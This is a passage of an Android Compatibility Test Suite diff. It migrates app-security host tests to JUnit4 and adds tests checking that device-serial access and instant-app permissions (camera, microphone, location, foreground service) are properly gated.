getDevice().uninstallPackage(MULTIUSER_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
final String installResult = getDevice()
.installPackage(getTestAppFile(MULTIUSER_APK), false, options);
assertNull("Failed to install: " + installResult, installResult);
@@ -231,6 +221,7 @@
* Test that apps with read permissions see the appropriate permissions
* when apps with r/w permission levels move around their files.
*/
+ @Test
public void testMultiViewMoveConsistency() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -238,7 +229,7 @@
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
@@ -271,13 +262,14 @@
}
/** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
+ @Test
public void testExternalStorageReadDefaultUris() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
@@ -324,11 +316,11 @@
private void runDeviceTests(String packageName, String testClassName, int userId)
throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
+ runDeviceTests(getDevice(), packageName, testClassName, null, userId, null);
}
private void runDeviceTests(String packageName, String testClassName, String testMethodName,
int userId) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+ runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 033f257..5bb70d1 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -16,11 +16,21 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Tests for visibility of packages installed in one user, in a different user.
*/
+@RunWith(DeviceJUnit4ClassRunner.class)
public class PackageVisibilityTest extends BaseAppSecurityTest {
private static final String TINY_APK = "CtsPkgInstallTinyApp.apk";
@@ -35,8 +45,8 @@
private int[] mUsers;
private String mOldVerifierValue;
- public void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUpPackage() throws Exception {
mUsers = Utils.prepareMultipleUsers(getDevice());
mOldVerifierValue =
@@ -47,14 +57,15 @@
installTestAppForUser(TEST_APK, mPrimaryUserId);
}
+ @After
public void tearDown() throws Exception {
getDevice().uninstallPackage(TEST_PKG);
getDevice().uninstallPackage(TINY_PKG);
getDevice().executeShellCommand("settings put global package_verifier_enable "
+ mOldVerifierValue);
- super.tearDown();
}
+ @Test
public void testUninstalledPackageVisibility() throws Exception {
if (!mSupportsMultiUser) {
return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index caabeb5..28c44fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -46,6 +46,10 @@
private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
"CtsEscalateToRuntimePermissions.apk";
+ private static final String APK_ACCESS_SERIAL_LEGACY = "CtsAccessSerialLegacy.apk";
+ private static final String APK_ACCESS_SERIAL_MODERN = "CtsAccessSerialModern.apk";
+ private static final String ACCESS_SERIAL_PKG = "android.os.cts";
+
private static final String SCREEN_OFF_TIMEOUT_NS = "system";
private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
private String mScreenTimeoutBeforeTest;
@@ -74,6 +78,7 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+ getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
// Set screen timeout to 30 min to not timeout while waiting for UI to change
mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
@@ -95,6 +100,7 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+ getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
}
public void testFail() throws Exception {
@@ -347,6 +353,30 @@
"testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
}
+ public void testLegacyAppAccessSerial() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_PERMISSION_POLICY_25), false, false));
+ runDeviceTests(PERMISSION_POLICY_25_PKG,
+ "com.android.cts.permission.policy.PermissionPolicyTest25",
+ "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+ }
+
+ public void testSerialAccessPolicy() throws Exception {
+ // Verify legacy app behavior
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ACCESS_SERIAL_LEGACY), false, false));
+ runDeviceTests(ACCESS_SERIAL_PKG,
+ "android.os.cts.AccessSerialLegacyTest",
+ "testAccessSerialNoPermissionNeeded");
+
+ // Verify modern app behavior
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ACCESS_SERIAL_MODERN), true, false));
+ runDeviceTests(ACCESS_SERIAL_PKG,
+ "android.os.cts.AccessSerialModernTest",
+ "testAccessSerialPermissionNeeded");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index fa0120d..c5edf05 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,9 +16,13 @@
package android.appsecurity.cts;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import junit.framework.AssertionFailedError;
@@ -27,13 +31,13 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.concurrent.TimeUnit;
+import java.util.Map;
/**
* Tests that exercise various storage APIs.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class StorageHostTest extends CompatibilityHostTestBase {
+public class StorageHostTest extends BaseHostJUnit4Test {
private static final String PKG_STATS = "com.android.cts.storagestatsapp";
private static final String PKG_A = "com.android.cts.storageapp_a";
private static final String PKG_B = "com.android.cts.storageapp_b";
@@ -236,7 +240,22 @@
public void runDeviceTests(String packageName, String testClassName, String testMethodName,
int userId) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null,
- 20L, TimeUnit.MINUTES);
+ if (!runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, 20 * 60 * 1000L)) {
+ TestRunResult res = getLastDeviceRunResults();
+ if (res != null) {
+ StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
+ for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+ res.getTestResults().entrySet()) {
+ if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ } else {
+ throw new AssertionFailedError("Error when running device tests.");
+ }
+ }
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 67ee091..8bad048 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,26 +32,6 @@
public class Utils {
public static final int USER_SYSTEM = 0;
- public static void runDeviceTests(ITestDevice device, String packageName)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, null, null, USER_SYSTEM, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, int userId)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, null, null, userId, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
- int userId) throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, null, userId, null);
- }
-
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
similarity index 74%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
index 12a04ed..e4b7962 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -1,4 +1,5 @@
-# Copyright (C) 2016 The Android Open Source Project
+#
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -11,21 +12,24 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
+#
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_PACKAGE_NAME := CtsAccessSerialLegacy
-# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
new file mode 100644
index 0000000..6976c56
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.cts">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
new file mode 100644
index 0000000..6dd97c3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.os.Build;
+import org.junit.Test;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialLegacyTest {
+ @Test
+ public void testAccessSerialNoPermissionNeeded() throws Exception {
+ // Build.SERIAL should provide the device serial for legacy apps.
+ // We don't know the serial but know that it should not be the dummy
+ // value returned to unauthorized callers, so make sure not that value
+ assertTrue("Build.SERIAL must be visible to legacy apps",
+ !Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We don't have the READ_PHONE_STATE permission, so this should throw
+ try {
+ Build.getSerial();
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ } catch (SecurityException e) {
+ /* expected */
+ }
+ }
+}
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
similarity index 77%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
index 36c6d07..20d51b6 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -1,3 +1,4 @@
+#
# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,25 +12,25 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
+#
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
+ android-support-test \
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := 25
+LOCAL_PACKAGE_NAME := CtsAccessSerialModern
-# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
new file mode 100644
index 0000000..087aa21
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.cts">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
new file mode 100644
index 0000000..df8ed97
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.Manifest;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+import org.junit.Test;
+
+import java.io.IOException;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialModernTest {
+ @Test
+ public void testAccessSerialPermissionNeeded() throws Exception {
+ // Build.SERIAL should not provide the device serial for modern apps.
+ // We don't know the serial but know that it should be the dummy
+ // value returned to unauthorized callers, so make sure that value
+ assertTrue("Build.SERIAL must not work for modern apps",
+ Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We don't have the read phone state permission, so this should throw
+ try {
+ Build.getSerial();
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ } catch (SecurityException e) {
+ /* expected */
+ }
+
+ // Now grant ourselves READ_PHONE_STATE
+ grantReadPhoneStatePermission();
+
+ // Build.SERIAL should not provide the device serial for modern apps.
+ assertTrue("Build.SERIAL must not work for modern apps",
+ Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We have the READ_PHONE_STATE permission, so this should not throw
+ try {
+ assertTrue("Build.getSerial() must work for apps holding READ_PHONE_STATE",
+ !Build.UNKNOWN.equals(Build.getSerial()));
+ } catch (SecurityException e) {
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ }
+ }
+
+ private void grantReadPhoneStatePermission() throws IOException {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+ + " " + Manifest.permission.READ_PHONE_STATE);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index ed3c3cf..8f39344 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -21,7 +21,16 @@
android:minSdkVersion="25" />
<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.CAMERA" />
+ <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.INTERNET" />
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
+ <uses-permission android:name="android.permission.VIBRATE" />
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+
<application
android:label="@string/app_name">
<uses-library android:name="android.test.runner" />
@@ -88,6 +97,7 @@
<action android:name="com.android.cts.ephemeraltest.QUERY" />
</intent-filter>
</provider>
+ <service android:name=".SomeService"/>
</application>
<instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 8ecd860..0db23d4 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -16,14 +16,19 @@
package com.android.cts.ephemeralapp1;
+import static android.media.AudioFormat.CHANNEL_IN_MONO;
+import static android.media.AudioFormat.ENCODING_PCM_16BIT;
+import static android.media.MediaRecorder.AudioSource.MIC;
import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import android.Manifest;
-import android.annotation.Nullable;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -36,18 +41,29 @@
import android.content.pm.ProviderInfo;
import android.content.pm.ResolveInfo;
import android.database.Cursor;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.media.AudioRecord;
+import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
import android.os.IBinder;
-import android.os.ServiceManager.ServiceNotFoundException;
-import android.provider.CalendarContract;
-import android.provider.ContactsContract;
-import android.provider.MediaStore;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
-import android.test.InstrumentationTestCase;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestThread;
import com.android.cts.util.TestResult;
import org.junit.After;
@@ -55,10 +71,9 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.Arrays;
+import java.io.IOException;
import java.util.List;
-import java.util.ServiceConfigurationError;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.TimeUnit;
@@ -85,6 +100,7 @@
"com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
private BroadcastReceiver mReceiver;
+ private PhoneStateListener mPhoneStateListener;
private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
@Before
@@ -958,6 +974,173 @@
}
}
+ @Test
+ public void testStartForegroundService() throws Exception {
+ final Context context = InstrumentationRegistry.getContext();
+ final Intent intent = new Intent(context, SomeService.class);
+
+ // Create a notification channel for the foreground notification
+ final NotificationChannel channel = new NotificationChannel("foo", "foo",
+ NotificationManager.IMPORTANCE_DEFAULT);
+ final NotificationManager notificationManager = context.getSystemService(
+ NotificationManager.class);
+ notificationManager.createNotificationChannel(channel);
+
+ // Shouldn't be able to start without a permission
+ final CountDownLatch latch1 = new CountDownLatch(1);
+ SomeService.setOnStartCommandCallback((int result) -> {
+ assertSame("Shouldn't be able to start without "
+ + " INSTANT_APP_FOREGROUND_SERVICE permission", 0, result);
+ latch1.countDown();
+ });
+ context.startForegroundService(intent);
+ latch1.await(5, TimeUnit.SECONDS);
+
+ // Now grant ourselves INSTANT_APP_FOREGROUND_SERVICE
+ grantInstantAppForegroundServicePermission();
+
+ // Should be able to start with a permission
+ final CountDownLatch latch2 = new CountDownLatch(1);
+ SomeService.setOnStartCommandCallback((int result) -> {
+ assertSame("Should be able to start with "
+ + " INSTANT_APP_FOREGROUND_SERVICE permission", 1, result);
+ latch2.countDown();
+ });
+ context.startForegroundService(intent);
+ latch2.await(5, TimeUnit.SECONDS);
+ }
+
+ @Test
+ public void testRecordAudioPermission() throws Throwable {
+ final AudioRecord record =
+ new AudioRecord(MIC, 8000, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, 4096);
+ try {
+ assertThat("audio record not initialized",
+ record.getState(), is(AudioRecord.STATE_INITIALIZED));
+ } finally {
+ record.release();
+ }
+ }
+
+ @Test
+ public void testReadPhoneNumbersPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ try {
+ final TelephonyManager telephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+ final String nmbr = telephonyManager.getLine1Number();
+ } catch (SecurityException e) {
+ fail("Permission not granted");
+ }
+ }
+
+ @Test
+ public void testAccessCoarseLocationPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ final ConnectivityManager mCm =
+ (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
+ if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+ return;
+ }
+
+ final TelephonyManager mTelephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+ // getCellLocation should never return null, but that is allowed if the cell network type
+ // is LTE (since there is no LteCellLocation class)
+ if (mTelephonyManager.getNetworkType() != TelephonyManager.NETWORK_TYPE_LTE) {
+ assertThat(mTelephonyManager.getCellLocation(), is(notNullValue()));
+ }
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final TestThread t = new TestThread(() -> {
+ Looper.prepare();
+ mPhoneStateListener = new PhoneStateListener() {
+ @Override
+ public void onCellLocationChanged(CellLocation location) {
+ latch.countDown();
+ }
+ };
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+ Looper.loop();
+ });
+ t.start();
+
+ try {
+ CellLocation.requestLocationUpdate();
+ assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+ } finally {
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
+ }
+ t.checkException();
+ }
+
+ @Test
+ public void testCameraPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ final CameraManager manager =
+ (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+ final String[] cameraIds = manager.getCameraIdList();
+ if (cameraIds.length == 0) {
+ return;
+ }
+ final CountDownLatch latch = new CountDownLatch(1);
+ final HandlerThread backgroundThread = new HandlerThread("camera_bg");
+ backgroundThread.start();
+ final CameraDevice.StateCallback callback = new CameraDevice.StateCallback() {
+ @Override
+ public void onOpened(CameraDevice camera) {
+ latch.countDown();
+ camera.close();
+ }
+ @Override
+ public void onDisconnected(CameraDevice camera) {
+ camera.close();
+ }
+ @Override
+ public void onError(CameraDevice camera, int error) {
+ camera.close();
+ }
+ };
+ manager.openCamera(cameraIds[0], callback, new Handler(backgroundThread.getLooper()));
+ assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+ }
+
+ @Test
+ public void testInternetPermission() throws Throwable {
+ final ConnectivityManager manager = (ConnectivityManager) InstrumentationRegistry.getContext()
+ .getSystemService(Context.CONNECTIVITY_SERVICE);
+ manager.reportNetworkConnectivity(null, false);
+ }
+
+ @Test
+ public void testVibratePermission() throws Throwable {
+ final Vibrator vibrator = (Vibrator) InstrumentationRegistry.getContext()
+ .getSystemService(Context.VIBRATOR_SERVICE);
+ final VibrationEffect effect =
+ VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+ vibrator.vibrate(effect);
+ }
+
+ @Test
+ public void testWakeLockPermission() throws Throwable {
+ WakeLock wakeLock = null;
+ try {
+ final PowerManager powerManager = (PowerManager) InstrumentationRegistry.getContext()
+ .getSystemService(Context.POWER_SERVICE);
+ wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "test");
+ wakeLock.acquire();
+ }
+ finally {
+ if (wakeLock != null && wakeLock.isHeld()) {
+ wakeLock.release();
+ }
+ }
+ }
+
private TestResult getResult() {
final TestResult result;
try {
@@ -971,6 +1154,12 @@
return result;
}
+ private static void grantInstantAppForegroundServicePermission() throws IOException {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
